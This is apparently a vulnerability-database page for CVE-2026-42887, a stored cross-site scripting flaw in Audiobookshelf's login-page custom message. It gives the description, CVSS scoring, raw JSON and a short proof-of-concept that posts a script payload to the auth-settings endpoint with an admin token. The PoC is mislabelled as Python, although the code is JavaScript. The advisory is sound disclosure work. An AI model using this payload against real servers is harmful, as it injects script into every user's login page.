Security Vulnerability Report
中文
CVE-2026-42887 CVSS 4.5 MEDIUM

CVE-2026-42887

Published: 2026-05-11 20:25:46
Last Modified: 2026-05-11 20:25:46

Description

Audiobookshelf is a self-hosted audiobook and podcast server. Prior to 2.33.0, a stored cross-site scripting (XSS) vulnerability exists in the Login Page due to improper sanitization of the authLoginCustomMessage field of the /api/auth-settings endpoint. An attacker with administrative privileges can inject arbitrary HTML/JavaScript that will be rendered on the login page for all users. This vulnerability is fixed in 2.33.0.

CVSS Details

CVSS Score
4.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:U/C:H/I:N/A:N

Configurations (Affected Products)

No configuration data available.

Audiobookshelf < 2.33.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// Proof of Concept for CVE-2026-42887 // This script demonstrates how an admin might inject XSS via the authLoginCustomMessage field. const payload = '<script>alert("CVE-2026-42887 XSS");</script>'; fetch('https://target-audiobookshelf.com/api/auth-settings', { method: 'POST', headers: { 'Content-Type': 'application/json', 'Authorization': 'Bearer <ADMIN_TOKEN>' // Requires Admin privileges }, body: JSON.stringify({ authLoginCustomMessage: payload }) }) .then(response => response.json()) .then(data => console.log('Payload injected successfully:', data)) .catch(error => console.error('Error:', error)); // When any user visits the login page, the alert will execute.

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-42887", "sourceIdentifier": "[email protected]", "published": "2026-05-11T20:25:45.713", "lastModified": "2026-05-11T20:25:45.713", "vulnStatus": "Received", "cveTags": [], "descriptions": [{"lang": "en", "value": "Audiobookshelf is a self-hosted audiobook and podcast server. Prior to 2.33.0, a stored cross-site scripting (XSS) vulnerability exists in the Login Page due to improper sanitization of the authLoginCustomMessage field of the /api/auth-settings endpoint. An attacker with administrative privileges can inject arbitrary HTML/JavaScript that will be rendered on the login page for all users. This vulnerability is fixed in 2.33.0."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:U/C:H/I:N/A:N", "baseScore": 4.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 0.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://github.com/advplyr/audiobookshelf/security/advisories/GHSA-cx29-ghq2-9cm4", "source": "[email protected]"}]}}